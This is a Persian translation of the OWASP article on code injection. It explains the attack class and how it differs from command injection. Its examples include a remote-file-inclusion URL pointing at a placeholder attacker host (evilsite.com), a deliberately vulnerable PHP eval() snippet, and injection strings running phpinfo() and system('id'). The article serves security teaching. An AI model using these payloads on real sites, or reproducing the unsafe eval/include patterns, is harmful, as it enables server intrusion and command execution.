به نام خدا

تزریق کد

OWASP Attack Category: Code Injection

توضیحات:

تزریق کد عبارتی است که به طور کلی به نوعی از حمله گفته می شود که در آن کدی اینجکت می شود و سپس توسط برنامه ترجمه و اجرا می گردد. این نوع از حمله عموما زمانی اتفاق می افتد که اعتبارسنجی صحیحی روی داده های ورودی و خروجی صورت نپذیرد. برای مثال:

- کارکترهای مجاز (عبارات و شرط های استاندارد)
- فرمت و شکل داده ها
- تعداد ورودی های مورد نیاز

تزریق کد با تزریق فرمان (Command Injection) تفاوت دارد و در آن هکر محدود به زبان برنامه نویسی و نحوه عملکرد زبانی است که آن را اینجکت می کند. اگر هکر بتواند یک کد php را درون یک برنامه تزریق کندن و آن کد اجرا شود، باز هم محدود به کارهایی است که php می تواند انجام دهد. ولی تزریق فرمان از سورس کد موجود جهت اجرای command روی سیستم استفاده می کند.

عوامل ریسک:

- پیدا کردن این آسیب پذیری هم می تواند بسیار آسان باشد و هم بسیار سخت.
- اگر آسیب پذیری پیدا شد معمولا اکسپلوییت آن سخت بوده و به سناریو بستگی دارد.

- اگر اکسپلوییت شد، تاثیر آن می تواند باعث از بین رفتن فاکتورهای امنیت داده شامل اطمینان سازی، یکپارچگی و صحت داده ها، در دسترس بود و پاسخگوی شود.

نمونه ها:

مثال ۱

اگر در برنامه یک پارامتر توسط متد GET به تابع include() در php و بدون اعتبارسنجی صحیح، ارسال شود؛ هکر می تواند با تزریق کد به برنامه کارهایی انجام دهد که از نظر برنامه نویس نامطلوب است.

URLای که در زیر آمده نام یک صفحه را به تابع include() ارسال می کند.

http://testsite.com/index.php?page=contact.php

فایل "evilcode.php" برای مثال می تواند شامل تابع phpinfo() باشد که این تابع برای بدست آوردن تنظیمات سیستم و محیطی که سرویس دهنده ی وب روی آن در حال اجراست، کاربرد دارد. نفوذگر می تواند با استفاده از درخواست زیر، این فایل را توسط برنامه اجرا کند.

http://testsite.com/?page=http://evilsite.com/evilcode.php

مثال ۲

حالت بعدی که می توان توسط آن تزریق کد انجام داد این است که برنامه از تابع eval() در php استفاده کند و داده هایی که به آن ارسال می شود را بدون اعتبارسنجی صحیح ارسال کند. مثال زیر نمونه ای از استفاده ی ناامن و خطرناک از تابع eval() را نشان می دهد.

```
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
```

با توجه به اینکه ورودی برنامه ی بالا اعتبارسنجی نشده است، آن را برای حمله از نوع تزریق کد مستعد و آسیب پذیر می کند.

برای مثال:

/index.php?arg=1; phpinfo()

اگر اکسپلوییت این باگ به صورت بالا باشد، هکر علاوه بر تزریق کد، می تواند فرمان های سیستمی را نیز توسط آن اجرا کند. در این مورد از تزریق کد می توان جهت تزریق فرمان هم بهره برد. برای مثال:

/index.php?arg=1; system('id')

منابع:

- تزریق فرمان
- تزریق فرمان های سیستمی
- تزریق SQL

تاریخ ساخت: December 31, 2013 یا ۱۰ دی ۱۳۹۲

تاریخ تحقیق: Aug 4, 2014 یا ۱۳ مرداد ۱۳۹۳

/* تصحیح این مقاله، چه در ترجمه و چه در مباحث علمی ، توسط شما دوستان باعث خوشحالی خواهد بود. لطفا آن را با tamadonEH@gmail.com مطرح نمایید.*/

برای مشاهده لیست مقالات کار شده توسط گروه ما به لینک زیر مراجعه فرمایید

https://github.com/tamadonEH/list/blob/master/list.md